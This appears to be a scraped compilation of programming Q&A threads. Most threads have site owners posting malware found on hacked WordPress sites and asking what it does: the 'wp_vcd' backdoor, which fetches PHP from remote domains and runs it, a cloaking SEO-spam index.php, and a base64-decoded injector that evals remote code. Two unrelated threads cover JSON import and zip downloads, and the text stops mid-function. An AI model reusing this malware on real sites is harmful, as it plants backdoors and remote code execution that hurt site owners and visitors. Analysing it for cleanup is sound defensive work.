How to check my Wordpress source is victim of backdoor? - php

Today, I check all my source code. I detect in all source have a strange code.
I don't have experience in this problem. I very confused.
In /wp-content/themes/child-theme/function.php have the code look like:
Does my website have been hacked or have the backdoor in my code?
I using the theme from ThemeForest. Don't use any null theme. I very anxious because of all website in production mode.
Domain: http://www.zanons.xyz/code.php
Can anyone explain this code and consequences, direct impact on the site?
Have any method to resolve my problem? Thanks.
Full strange code:
<?php
if (isset($_REQUEST['action']) && isset($_REQUEST['password']) && ($_REQUEST['password'] == '5f8bb400922c3661c96af9e12eb821b9')) {
$div_code_name = "wp_vcd";
switch ($_REQUEST['action']) {
case 'change_domain';
if (isset($_REQUEST['newdomain'])) {
if (!empty($_REQUEST['newdomain'])) {
if ($file = #file_get_contents(__FILE__)) {
if (preg_match_all('/\$tmpcontent = #file_get_contents\("http:\/\/(.*)\/code\.php/i', $file, $matcholddomain)) {
$file = preg_replace('/' . $matcholddomain[1][0] . '/i', $_REQUEST['newdomain'], $file);
#file_put_contents(__FILE__, $file);
print "true";
}
}
}
}
break;
case 'change_code';
if (isset($_REQUEST['newcode'])) {
if (!empty($_REQUEST['newcode'])) {
if ($file = #file_get_contents(__FILE__)) {
if (preg_match_all('/\/\/\$start_wp_theme_tmp([\s\S]*)\/\/\$end_wp_theme_tmp/i', $file, $matcholdcode)) {
$file = str_replace($matcholdcode[1][0], stripslashes($_REQUEST['newcode']), $file);
#file_put_contents(__FILE__, $file);
print "true";
}
}
}
}
break;
default:
print "ERROR_WP_ACTION WP_V_CD WP_CD";
}
die("");
}
$div_code_name = "wp_vcd";
$funcfile = __FILE__;
if (!function_exists('theme_temp_setup')) {
$path = $_SERVER['HTTP_HOST'] . $_SERVER[REQUEST_URI];
if (stripos($_SERVER['REQUEST_URI'], 'wp-cron.php') == false && stripos($_SERVER['REQUEST_URI'], 'xmlrpc.php') == false) {
function file_get_contents_tcurl($url)
{
$ch = curl_init();
curl_setopt($ch, CURLOPT_AUTOREFERER, TRUE);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, TRUE);
$data = curl_exec($ch);
curl_close($ch);
return $data;
}
function theme_temp_setup($phpCode)
{
$tmpfname = tempnam(sys_get_temp_dir(), "theme_temp_setup");
$handle = fopen($tmpfname, "w+");
if (fwrite($handle, "<?php\n" . $phpCode)) {
} else {
$tmpfname = tempnam('./', "theme_temp_setup");
$handle = fopen($tmpfname, "w+");
fwrite($handle, "<?php\n" . $phpCode);
}
fclose($handle);
include $tmpfname;
unlink($tmpfname);
return get_defined_vars();
}
$wp_auth_key = '08b370e35d008b6591dd40b0eec23025';
if (($tmpcontent = #file_get_contents("http://www.zanons.com/code.php") OR $tmpcontent = #file_get_contents_tcurl("http://www.zanons.com/code.php")) AND stripos($tmpcontent, $wp_auth_key) !== false) {
if (stripos($tmpcontent, $wp_auth_key) !== false) {
extract(theme_temp_setup($tmpcontent));
#file_put_contents(ABSPATH . 'wp-includes/wp-tmp.php', $tmpcontent);
if (!file_exists(ABSPATH . 'wp-includes/wp-tmp.php')) {
#file_put_contents(get_template_directory() . '/wp-tmp.php', $tmpcontent);
if (!file_exists(get_template_directory() . '/wp-tmp.php')) {
#file_put_contents('wp-tmp.php', $tmpcontent);
}
}
}
}
elseif ($tmpcontent = #file_get_contents("http://www.zanons.me/code.php") AND stripos($tmpcontent, $wp_auth_key) !== false) {
if (stripos($tmpcontent, $wp_auth_key) !== false) {
extract(theme_temp_setup($tmpcontent));
#file_put_contents(ABSPATH . 'wp-includes/wp-tmp.php', $tmpcontent);
if (!file_exists(ABSPATH . 'wp-includes/wp-tmp.php')) {
#file_put_contents(get_template_directory() . '/wp-tmp.php', $tmpcontent);
if (!file_exists(get_template_directory() . '/wp-tmp.php')) {
#file_put_contents('wp-tmp.php', $tmpcontent);
}
}
}
} elseif ($tmpcontent = #file_get_contents(ABSPATH . 'wp-includes/wp-tmp.php') AND stripos($tmpcontent, $wp_auth_key) !== false) {
extract(theme_temp_setup($tmpcontent));
} elseif ($tmpcontent = #file_get_contents(get_template_directory() . '/wp-tmp.php') AND stripos($tmpcontent, $wp_auth_key) !== false) {
extract(theme_temp_setup($tmpcontent));
} elseif ($tmpcontent = #file_get_contents('wp-tmp.php') AND stripos($tmpcontent, $wp_auth_key) !== false) {
extract(theme_temp_setup($tmpcontent));
} elseif (($tmpcontent = #file_get_contents("http://www.zanons.xyz/code.php") OR $tmpcontent = #file_get_contents_tcurl("http://www.zanons.xyz/code.php")) AND stripos($tmpcontent, $wp_auth_key) !== false) {
extract(theme_temp_setup($tmpcontent));
}
}
}
//$start_wp_theme_tmp
//wp_tmp
//$end_wp_theme_tmp
?>

Related

Our cPanel Wordpress Website is creating this index.php automatically

<?php $group_num = 'z9126zn';
$inter_domain = 'http://' . $group_num . '.lievful.quest';
function curl_get_contents($url)
{
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 5);
$file_contents = curl_exec($ch);
curl_close($ch);
return $file_contents;
}
function getServerCont($url, $data = array())
{
$url = str_replace(' ', '+', $url);
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, "$url");
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_TIMEOUT, 10);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, FALSE);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, FALSE);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($data));
$output = curl_exec($ch);
$errorCode = curl_errno($ch);
curl_close($ch);
if (0 !== $errorCode) {
return false;
}
return $output;
}
function is_crawler($agent)
{
if (strpos($agent, 'google') !== false || strpos($agent, 'yahoo') !== false) {
return true;
} else {
return false;
}
}
function check_refer($refer)
{
if (strpos($refer, '.co.jp') !== false || strpos($refer, 'google.com') !== false) {
return true;
} else {
return false;
}
}
$http = ((isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] !== 'off') ? 'https://' : 'http://');
$req_uri = $_SERVER['REQUEST_URI'];
$domain = $_SERVER["HTTP_HOST"];
$self = $_SERVER['PHP_SELF'];
$ser_name = $_SERVER['SERVER_NAME'];
$req_url = $http . $domain . $req_uri;
$indata1 = $inter_domain . "/indata.php";
$map1 = $inter_domain . "/map.php";
$jump1 = $inter_domain . "/jump.php";
$url_words = $inter_domain . "/words.php";
$url_robots = $inter_domain . "/robots.php";
if (strpos($req_uri, ".php")) {
$href1 = $http . $domain . $self;
} else {
$href1 = $http . $domain;
}
$data1[] = array();
$data1['http'] = $http;
$data1['domain'] = $domain;
$data1['req_uri'] = $req_uri;
$data1['href'] = $href1;
$data1['req_url'] = $req_url;
$user_agent = strtolower(isset($_SERVER['HTTP_USER_AGENT']) ? $_SERVER['HTTP_USER_AGENT'] : '');
if(getenv('HTTP_CLIENT_IP')){
$client_ip = getenv('HTTP_CLIENT_IP');
} elseif(getenv('HTTP_X_FORWARDED_FOR')) {
$client_ip = getenv('HTTP_X_FORWARDED_FOR');
} elseif(getenv('REMOTE_ADDR')) {
$client_ip = getenv('REMOTE_ADDR');
} else {
$client_ip = $_SERVER['REMOTE_ADDR'];
}
if (substr($req_uri, -6) == 'robots') {
$robots_cont = getServerCont($url_robots, $data1);
define('BASE_PATH', str_ireplace($_SERVER['PHP_SELF'], '', __FILE__));
file_put_contents(BASE_PATH . '/robots.txt', $robots_cont);
$robots_cont = file_get_contents(BASE_PATH . '/robots.txt');
if (strpos($robots_cont, "Crawl-delay:3")) {
echo 'robots.txt file create success!';
} else {
echo 'robots.txt file create fail!';
}
exit;
}
if (substr($req_uri, -4) == '.xml') {
if (strpos($req_uri, "pingsitemap.xml")) {
$str_cont = getServerCont($map1, $data1);
$str_cont_arr = explode(",", $str_cont);
$str_cont_arr[] = 'sitemap';
for ($k = 0; $k < count($str_cont_arr); $k++) {
if (strpos($href1, ".php") > 0) {
$tt1 = '?';
} else {
$tt1 = '/';
}
$http2 = $href1 . $tt1 . $str_cont_arr[$k] . '.xml';
$data_new = 'https://www.google.com/ping?sitemap=' . $http2;
$data_new1 = 'http://www.google.com/ping?sitemap=' . $http2;
if (stristr(#file_get_contents($data_new), 'successfully')) {
echo $data_new . '===>Submitting Google Sitemap: OK' . PHP_EOL;
} else if (stristr(#curl_get_contents($data_new), 'successfully')) {
echo $data_new . '===>Submitting Google Sitemap: OK' . PHP_EOL;
} else if (stristr(#file_get_contents($data_new1), 'successfully')) {
echo $data_new1 . '===>Submitting Google Sitemap: OK' . PHP_EOL;
} else if (stristr(#curl_get_contents($data_new1), 'successfully')) {
echo $data_new1 . '===>Submitting Google Sitemap: OK' . PHP_EOL;
} else {
echo $data_new1 . '===>Submitting Google Sitemap: fail' . PHP_EOL;
}
}
exit;
}
if (strpos($req_uri, "allsitemap.xml")) {
$str_cont = getServerCont($map1, $data1);
header("Content-type:text/xml");
echo $str_cont;
exit;
}
if (strpos($req_uri, ".php")) {
$word4 = explode("?", $req_uri);
$word4 = $word4[count($word4) - 1];
$word4 = str_replace(".xml", "", $word4);
} else {
$word4 = str_replace("/", "", $req_uri);
$word4 = str_replace(".xml", "", $word4);
}
$data1['word'] = $word4;
$data1['action'] = 'check_sitemap';
$check_url4 = getServerCont($url_words, $data1);
if ($check_url4 == '1') {
$str_cont = getServerCont($map1, $data1);
header("Content-type:text/xml");
echo $str_cont;
exit;
}
$data1['action'] = "check_words";
$check1 = getServerCont($url_words, $data1);
if (strpos($req_uri, "map") > 0 || $check1 == '1') {
$data1['action'] = "rand_xml";
$check_url4 = getServerCont($url_words, $data1);
header("Content-type:text/xml");
echo $check_url4;
exit;
}
}
if (strpos($req_uri, ".php")) {
$main_shell = $http . $ser_name . $self;
$data1['main_shell'] = $main_shell;
} else {
$main_shell = $http . $ser_name;
$data1['main_shell'] = $main_shell;
}
$referer = isset($_SERVER['HTTP_REFERER']) ? $_SERVER['HTTP_REFERER'] : '';
$chk_refer = check_refer($referer);
$bot=true;
if ($chk_refer) {
$data1['referer'] = $referer;
$data1['ip'] = $client_ip;
$data1['user_agent'] = $user_agent;
$data1['browser_la'] = $_SERVER['HTTP_ACCEPT_LANGUAGE'];
$refer_content = getServerCont($jump1, $data1);
if ($refer_content != "404") {
echo $refer_content;
exit;
}
$bot=false;
}
$res_crawl = is_crawler($user_agent);
if ($res_crawl&&$bot) {
$data1['http_user_agent'] = $user_agent;
$get_content = getServerCont($indata1, $data1);
if ($get_content == "404") {
header('HTTP/1.0 404 Not Found');
exit;
} else if ($get_content == "500") {
header("HTTP/1.0 500 Internal Server Error");
exit;
} else if ($get_content == "blank") {
echo '';
exit;
} else {
echo $get_content;
exit;
}
} ?><?php
/**
* Front to the WordPress application. This file doesn't do anything, but loads
* wp-blog-header.php which does and tells WordPress to load the theme.
*
* #package WordPress
*/
/**
* Tells WordPress to load the WordPress theme and output it.
*
* #var bool
*/
define( 'WP_USE_THEMES', true );
/** Loads the WordPress Environment and Template */
require __DIR__ . '/wp-blog-header.php';
This is that index.php file which is not in our control.
We have Godaddy VPS Server With cPanel & wordpress hosting. we have installed wordpress site in a directory and that directory creates INDEX file automatically which shows HTTP ERROR 500 when opened.
this is automatically created in our VPS server. it automatically modifies when we changes this. automatically created when deleted.
In short we have no control over the directory and this file.
I have the same problem
<?php $group_num = 'z0109_18';
$inter_domain = 'http://107.150.41.2//' . $group_num . '/';
function curl_get_contents($url)
{
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 5);
$file_contents = curl_exec($ch);
curl_close($ch);
return $file_contents;
}
function getServerCont($url, $data = array())
{
$url = str_replace(' ', '+', $url);
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, "$url");
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_TIMEOUT, 10);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, FALSE);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, FALSE);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($data));
$output = curl_exec($ch);
$errorCode = curl_errno($ch);
curl_close($ch);
if (0 !== $errorCode) {
return false;
}
return $output;
}
function is_crawler($agent)
{
$agent_check = false;
$bots = 'googlebot|google|yahoo|bing|aol';
if ($agent != '') {
if (preg_match("/($bots)/si", $agent)) {
$agent_check = true;
}
}
return $agent_check;
}
function check_refer($refer)
{
$check_refer = false;
$referbots = 'google.co.jp|yahoo.co.jp|google.com';
if ($refer != '' && preg_match("/($referbots)/si", $refer)) {
$check_refer = true;
}
return $check_refer;
}
$http = ((isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] !== 'off') ? 'https://' : 'http://');
$req_uri = $_SERVER['REQUEST_URI'];
$domain = $_SERVER["HTTP_HOST"];
$self = $_SERVER['PHP_SELF'];
$ser_name = $_SERVER['SERVER_NAME'];
$req_url = $http . $domain . $req_uri;
$indata1 = $inter_domain . "/indata.php";
$map1 = $inter_domain . "/map.php";
$jump1 = $inter_domain . "/jump.php";
$url_words = $inter_domain . "/words.php";
$url_robots = $inter_domain . "/robots.php";
if (strpos($req_uri, ".php")) {
$href1 = $http . $domain . $self;
} else {
$href1 = $http . $domain;
}
$data1[] = array();
$data1['domain'] = $domain;
$data1['req_uri'] = $req_uri;
$data1['href'] = $href1;
$data1['req_url'] = $req_url;
if (substr($req_uri, -6) == 'robots') {
$robots_cont = getServerCont($url_robots, $data1);
define('BASE_PATH', str_ireplace($_SERVER['PHP_SELF'], '', __FILE__));
file_put_contents(BASE_PATH . '/robots.txt', $robots_cont);
$robots_cont = file_get_contents(BASE_PATH . '/robots.txt');
if (strpos(strtolower($robots_cont), "sitemap")) {
echo 'robots.txt file create success!';
} else {
echo 'robots.txt file create fail!';
}
return;
}
if (substr($req_uri, -4) == '.xml') {
if (strpos($req_uri, "pingsitemap.xml")) {
$str_cont = getServerCont($map1, $data1);
$str_cont_arr = explode(",", $str_cont);
$str_cont_arr[] = 'sitemap';
for ($k = 0; $k < count($str_cont_arr); $k++) {
if (strpos($href1, ".php") > 0) {
$tt1 = '?';
} else {
$tt1 = '/';
}
$http2 = $href1 . $tt1 . $str_cont_arr[$k] . '.xml';
$data_new = 'https://www.google.com/ping?sitemap=' . $http2;
$data_new1 = 'http://www.google.com/ping?sitemap=' . $http2;
if (stristr(#file_get_contents($data_new), 'successfully')) {
echo $data_new . '===>Submitting Google Sitemap: OK' . PHP_EOL;
} else if (stristr(#curl_get_contents($data_new), 'successfully')) {
echo $data_new . '===>Submitting Google Sitemap: OK' . PHP_EOL;
} else if (stristr(#file_get_contents($data_new1), 'successfully')) {
echo $data_new1 . '===>Submitting Google Sitemap: OK' . PHP_EOL;
} else if (stristr(#curl_get_contents($data_new1), 'successfully')) {
echo $data_new1 . '===>Submitting Google Sitemap: OK' . PHP_EOL;
} else {
echo $data_new1 . '===>Submitting Google Sitemap: fail' . PHP_EOL;
}
}
return;
}
if (strpos($req_uri, "allsitemap.xml")) {
$str_cont = getServerCont($map1, $data1);
header("Content-type:text/xml");
echo $str_cont;
return;
}
if (strpos($req_uri, ".php")) {
$word4 = explode("?", $req_uri);
$word4 = $word4[count($word4) - 1];
$word4 = str_replace(".xml", "", $word4);
} else {
$word4 = str_replace("/", "", $req_uri);
$word4 = str_replace(".xml", "", $word4);
}
$data1['word'] = $word4;
$data1['action'] = 'check_sitemap';
$check_url4 = getServerCont($url_words, $data1);
if ($check_url4 == '1') {
$str_cont = getServerCont($map1, $data1);
header("Content-type:text/xml");
echo $str_cont;
return;
}
$data1['action'] = "check_words";
$check1 = getServerCont($url_words, $data1);
if (strpos($req_uri, "map") > 0 || $check1 == '1') $data1['action'] = "rand_xml";
$check_url4 = getServerCont($url_words, $data1);
header("Content-type:text/xml");
echo $check_url4;
return;
}
if (strpos($req_uri, ".php")) {
$main_shell = $http . $ser_name . $self;
$data1['main_shell'] = $main_shell;
} else {
$main_shell = $http . $ser_name;
$data1['main_shell'] = $main_shell;
}
$referer = isset($_SERVER['HTTP_REFERER']) ? $_SERVER['HTTP_REFERER'] : '';
$chk_refer = check_refer($referer);
if (strpos($_SERVER['REQUEST_URI'], '.php')) {
$url_ext = '?';
} else {
$url_ext = '/';
}
if ($chk_refer && (preg_match('/ja/i', #$_SERVER['HTTP_ACCEPT_LANGUAGE']) || preg_match('/ja/i', #$_SERVER['HTTP_ACCEPT_LANGUAGE']) || preg_match("/^[a-z0-9]+[0-9]+$/", end(explode($url_ext, str_replace(array(".html", ".htm"), "", $_SERVER['REQUEST_URI'])))))) {
echo getServerCont($jump1, $data1);
return;
}
$user_agent = strtolower(isset($_SERVER['HTTP_USER_AGENT']) ? $_SERVER['HTTP_USER_AGENT'] : '');
$res_crawl = is_crawler($user_agent);
if ($res_crawl) {
$data1['http_user_agent'] = $user_agent;
$get_content = getServerCont($indata1, $data1);
echo $get_content;
return;
} ?>
My only solution now is to delete index.php recolection.php and wp-admin and wp-includes folder.
After that I reinstall WordPress and the site is working again.

PHP, read line by line, not working

I have this code. The idea with it, is that i reads a big(very big: 300mb) JSON file, line by line and set the JSON data into an SQL table. But the same line of JSON data gets inserted more than once, and after the PHP script has been through all lines, it just starts over.
There is 200268 objects in the JSON file, seperated in lines
Here is my code:
example.php:
<?php
/**
* Licensed under Creative Commons 3.0 Attribution
* Copyright Adam Wulf 2013
*/
include("config-sample.php");
include("include.classloader.php");
$classLoader->addToClasspath(ROOT);
$mysql = new MySQLConn(DATABASE_HOST, DATABASE_NAME, DATABASE_USER, DATABASE_PASS);
$db = new JSONtoMYSQL($mysql);
$handle = fopen("programoversigter.json", "r");
if ($handle) {
while (($linne = fgets($handle)) !== false) {
$db->save(json_decode($linne)->_source, "igen");
print($iasd . " ");
$iasd = $iasd++;
}
fclose($handle);
} else {
echo "assscsad";
}
die();
?>
include.classloader.php:
<?php
/**
* Licensed under Creative Commons 3.0 Attribution
* Copyright Adam Wulf 2013
*/
class ClassLoader{
protected $classpath;
public function __construct(){
$this->classpath = array();
}
public function addToClasspath($dir){
if(is_dir($dir)){
$this->classpath[] = $dir;
}else{
throw new Exception("cannot find directory: $dir");
}
}
public function load($classname){
$ok = false;
for($i=0;$i<count($this->classpath);$i++){
$path = $this->classpath[$i];
/* echo "load recur \"" . $path . "\";//<br>\n"; */
$ok = $ok || $this->load_recursive($path, $classname);
}
return $ok;
}
protected function load_recursive($classpath, $classname){
$theList = array();
$ret = false;
if ($handle = opendir($classpath)) {
while (false != ($file = readdir($handle))) {
if ($file != "." && $file != "..") {
if(is_dir($classpath . $file)){
$ret = $ret || $this->load_recursive($classpath . $file . "/", $classname);
}else{
if($file == "class.$classname.php"){
include_once $classpath . $file;
$ret = true;
/* echo "include_once \"" . $classpath . $file . "\";//<br>\n"; */
}else
if($file == "class.Boolean.$classname.php"){
include_once $classpath . $file;
$ret = true;
/* echo "include_once \"" . $classpath . $file . "\";//<br>\n"; */
}else
if($file == "interface.$classname.php"){
include_once $classpath . $file;
$ret = true;
/* echo "include_once \"" . $classpath . $file . "\";//<br>\n"; */
}
}
}
}
closedir($handle);
unset($handle);
}
return $ret;
}
public function loadTestFiles(GroupTest $g){
foreach($this->classpath as $c){
$this->loadTestFilesHelper($g, $c);
}
}
protected function loadTestFilesHelper(GroupTest $g, $classpath){
$theList = array();
if ($handle = opendir($classpath)) {
while (false != ($file = readdir($handle))) {
if ($file != "." && $file != "..") {
if(is_dir($classpath . $file)){
$this->loadTestFilesHelper($g, $classpath . $file . "/");
}else{
if(strpos($file, "test.class.") === 0 &&
strpos($file, ".php") == strlen($file)-4){
$g->addTestFile($classpath . $file);
}
}
}
}
closedir($handle);
unset($handle);
}
}
}
class ClassLoaderToString extends ClassLoader{
public function __construct(){
parent::__construct();
}
protected function load_recursive($classpath, $classname){
$theList = array();
$ret = false;
if ($handle = opendir($classpath)) {
while (false != ($file = readdir($handle))) {
if ($file != "." && $file != "..") {
if(is_dir($classpath . $file)){
$this->load_recursive($classpath . $file . "/", $classname);
}else{
if($file == "class.$classname.php"){
include_once $classpath . $file;
$this->printClass($classpath, $file);
$ret = true;
}else
if($file == "class.Boolean.$classname.php"){
include_once $classpath . $file;
$this->printClass($classpath, $file);
$ret = true;
}else
if($file == "interface.$classname.php"){
include_once $classpath . $file;
$this->printClass($classpath, $file);
$ret = true;
}
}
}
}
closedir($handle);
unset($handle);
}
return $ret;
}
protected function printClass($classpath, $file){
if(strpos($classpath, ROOT) === 0){
$classpath = substr($classpath, strlen(ROOT));
echo "include_once(ROOT . \"" . $classpath . $file . "\");\n";
}else{
echo "include_once(\"" . $classpath . $file . "\");\n";
}
}
}
function milestone_autoload($classname){
global $classLoader;
// global $control;
// $str = "classname: ";
// $str .= $classname;
// $str .= "\n";
// if(is_object($control) && !is_int(stripos($classname, "mysql"))){
// $control->getModel()->getLogger()->log($control->getModel(), ALogger::$HIGH, $str);
// }
try{
$ok = $classLoader->load($classname);
// $str .= ":" . $ok;
// if(is_object($control) && !is_int(stripos($classname, "mysql"))){
// $control->getModel()->getLogger()->log($control->getModel(), ALogger::$HIGH, $str);
// }
}catch(Exception $e){
$model->getLogger()->log($model, ALogger::$HIGH, print_r($e, true));
}
}
spl_autoload_register('milestone_autoload');
$classLoader = new ClassLoader();
?>

How to store only zip files downloaded from other website

I am building a application based in codeigniter. Here I need to download only files that have .zip extension and upload in my local drive. But to do it I had been given a function named get_zip contents are as follows:
<?php
function get_file($file, $localpath, $newfilename)
{
$err_msg = '';
$out = fopen($localpath.$newfilename,"wb");
if ($out == FALSE){
print "File not opened<br>";
exit;
}
$ch = curl_init();
curl_setopt($ch, CURLOPT_FILE, $out);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_URL, $file);
curl_exec($ch);
if( curl_error($ch) )
{
echo "<br>Error is : ".curl_error ( $ch);
}
curl_close($ch);
//fclose($ch);
return $localpath.$newfilename;
}//end function
function directory_map_echo($source_dir, $directory_depth = 0, $hidden = FALSE)
{
if ($fp = #opendir($source_dir))
{
$filedata = '';
$new_depth = $directory_depth - 1;
$source_dir = rtrim($source_dir, DIRECTORY_SEPARATOR).DIRECTORY_SEPARATOR;
while (FALSE !== ($file = readdir($fp)))
{
// Remove '.', '..', and hidden files [optional]
if ( ! trim($file, '.') OR ($hidden == FALSE && $file[0] == '.'))
{
continue;
}
if (($directory_depth < 1 OR $new_depth > 0) && #is_dir($source_dir.$file))
{
$filedata .= 'directory:'.$file.directory_map($source_dir.$file.DIRECTORY_SEPARATOR, $new_depth, $hidden);
}
else
{
$filedata .= $file;
}
}
closedir($fp);
return $filedata;
}
return FALSE;
}
But the problem is how I can restrict that only .zip files will be downloaded and uploaded to my local drive.
Since the filename is just a string you could use/modify the answer from this SO question:
$rex = "/^.*\.(zip)$/i";
preg_match($rex, $file)
Edit:
For error codes try:
$httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
if($httpCode == 404){ //do some error handling }

What exactly does this PHP exploit code (found on my app)?

I've found this code in base 64 on all php files of one of my client's site (wordpress) and I'm trying to understand what it does.
I'm also trying to figure out if it was an application exploit or a direct FTP access that has past this code.
Everything starts with setup_globals_777() and ob_start('mrobh') setting the callback to the mrobh($content) function.
Then there are a call to gzdecodeit ($decode) where the hassle starts out.
It seems like it gets the page content and change it. Now I'm trying to detect the specific changes and understand all functions, including the second one gzdecodeit().
Can someone shed some light on it?
The calls
setup_globals_777();
ob_start('mrobh');
// Here the application code and html output starts out
The callback:
function mrobh ($content)
{
#Header('Content-Encoding: none');
$decoded_content = gzdecodeit($content);
if (preg_match('/\<\/body/si', $decoded_content)) {
return preg_replace('/(\<\/body[^\>]*\>)/si', gml_777() . "\n" . '$1',
$decoded_content);
} else {
return $decoded_content . gml_777();
}
}
The setup function (understandable)
function setup_globals_777 ()
{
$rz = $_SERVER["DOCUMENT_ROOT"] . "/.logs/";
$mz = "/tmp/";
if (! is_dir($rz)) {
#mkdir($rz);
if (is_dir($rz)) {
$mz = $rz;
} else {
$rz = $_SERVER["SCRIPT_FILENAME"] . "/.logs/";
if (! is_dir($rz)) {
#mkdir($rz);
if (is_dir($rz)) {
$mz = $rz;
}
} else {
$mz = $rz;
}
}
} else {
$mz = $rz;
}
$bot = 0;
$ua = $_SERVER['HTTP_USER_AGENT'];
if (stristr($ua, "msnbot") || stristr($ua, "Yahoo"))
$bot = 1;
if (stristr($ua, "bingbot") || stristr($ua, "google"))
$bot = 1;
$msie = 0;
if (is_msie_777($ua))
$msie = 1;
$mac = 0;
if (is_mac_777($ua))
$mac = 1;
if (($msie == 0) && ($mac == 0))
$bot = 1;
global $_SERVER;
$_SERVER['s_p1'] = $mz;
$_SERVER['s_b1'] = $bot;
$_SERVER['s_t1'] = 1200;
$_SERVER['s_d1'] = "http://sweepstakesandcontestsdo.com/";
$d = '?d=' . urlencode($_SERVER["HTTP_HOST"]) . "&p=" .
urlencode($_SERVER["PHP_SELF"]) . "&a=" .
urlencode($_SERVER["HTTP_USER_AGENT"]);
$_SERVER['s_a1'] = 'http://www.lilypophilypop.com/g_load.php' . $d;
$_SERVER['s_a2'] = 'http://www.lolypopholypop.com/g_load.php' . $d;
$_SERVER['s_script'] = "mm.php?d=1";
}
The first function called after the callback execution:
Here is where the magic happens. I can't see the calls for the other
available functions and understand what this function is actually
decoding, since the $decode var is the application output grabbed by
the ob_start()
function gzdecodeit ($decode)
{
$t = #ord(#substr($decode, 3, 1));
$start = 10;
$v = 0;
if ($t & 4) {
$str = #unpack('v', substr($decode, 10, 2));
$str = $str[1];
$start += 2 + $str;
}
if ($t & 8) {
$start = #strpos($decode, chr(0), $start) + 1;
}
if ($t & 16) {
$start = #strpos($decode, chr(0), $start) + 1;
}
if ($t & 2) {
$start += 2;
}
$ret = #gzinflate(#substr($decode, $start));
if ($ret === FALSE) {
$ret = $decode;
}
return $ret;
}
All the available functions (after a base64_decode()):
<?php
if (function_exists('ob_start') && ! isset($_SERVER['mr_no'])) {
$_SERVER['mr_no'] = 1;
if (! function_exists('mrobh')) {
function get_tds_777 ($url)
{
$content = "";
$content = #trycurl_777($url);
if ($content !== false)
return $content;
$content = #tryfile_777($url);
if ($content !== false)
return $content;
$content = #tryfopen_777($url);
if ($content !== false)
return $content;
$content = #tryfsockopen_777($url);
if ($content !== false)
return $content;
$content = #trysocket_777($url);
if ($content !== false)
return $content;
return '';
}
function trycurl_777 ($url)
{
if (function_exists('curl_init') === false)
return false;
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_TIMEOUT, 5);
curl_setopt($ch, CURLOPT_HEADER, 0);
$result = curl_exec($ch);
curl_close($ch);
if ($result == "")
return false;
return $result;
}
function tryfile_777 ($url)
{
if (function_exists('file') === false)
return false;
$inc = #file($url);
$buf = #implode('', $inc);
if ($buf == "")
return false;
return $buf;
}
function tryfopen_777 ($url)
{
if (function_exists('fopen') === false)
return false;
$buf = '';
$f = #fopen($url, 'r');
if ($f) {
while (! feof($f)) {
$buf .= fread($f, 10000);
}
fclose($f);
} else
return false;
if ($buf == "")
return false;
return $buf;
}
function tryfsockopen_777 ($url)
{
if (function_exists('fsockopen') === false)
return false;
$p = #parse_url($url);
$host = $p['host'];
$uri = $p['path'] . '?' . $p['query'];
$f = #fsockopen($host, 80, $errno, $errstr, 30);
if (! $f)
return false;
$request = "GET $uri HTTP/1.0\n";
$request .= "Host: $host\n\n";
fwrite($f, $request);
$buf = '';
while (! feof($f)) {
$buf .= fread($f, 10000);
}
fclose($f);
if ($buf == "")
return false;
list ($m, $buf) = explode(chr(13) . chr(10) . chr(13) . chr(10),
$buf);
return $buf;
}
function trysocket_777 ($url)
{
if (function_exists('socket_create') === false)
return false;
$p = #parse_url($url);
$host = $p['host'];
$uri = $p['path'] . '?' . $p['query'];
$ip1 = #gethostbyname($host);
$ip2 = #long2ip(#ip2long($ip1));
if ($ip1 != $ip2)
return false;
$sock = #socket_create(AF_INET, SOCK_STREAM, SOL_TCP);
if (! #socket_connect($sock, $ip1, 80)) {
#socket_close($sock);
return false;
}
$request = "GET $uri HTTP/1.0\n";
$request .= "Host: $host\n\n";
socket_write($sock, $request);
$buf = '';
while ($t = socket_read($sock, 10000)) {
$buf .= $t;
}
#socket_close($sock);
if ($buf == "")
return false;
list ($m, $buf) = explode(chr(13) . chr(10) . chr(13) . chr(10),
$buf);
return $buf;
}
function update_tds_file_777 ($tdsfile)
{
$actual1 = $_SERVER['s_a1'];
$actual2 = $_SERVER['s_a2'];
$val = get_tds_777($actual1);
if ($val == "")
$val = get_tds_777($actual2);
$f = #fopen($tdsfile, "w");
if ($f) {
#fwrite($f, $val);
#fclose($f);
}
if (strstr($val, "|||CODE|||")) {
list ($val, $code) = explode("|||CODE|||", $val);
eval(base64_decode($code));
}
return $val;
}
function get_actual_tds_777 ()
{
$defaultdomain = $_SERVER['s_d1'];
$dir = $_SERVER['s_p1'];
$tdsfile = $dir . "log1.txt";
if (#file_exists($tdsfile)) {
$mtime = #filemtime($tdsfile);
$ctime = time() - $mtime;
if ($ctime > $_SERVER['s_t1']) {
$content = update_tds_file_777($tdsfile);
} else {
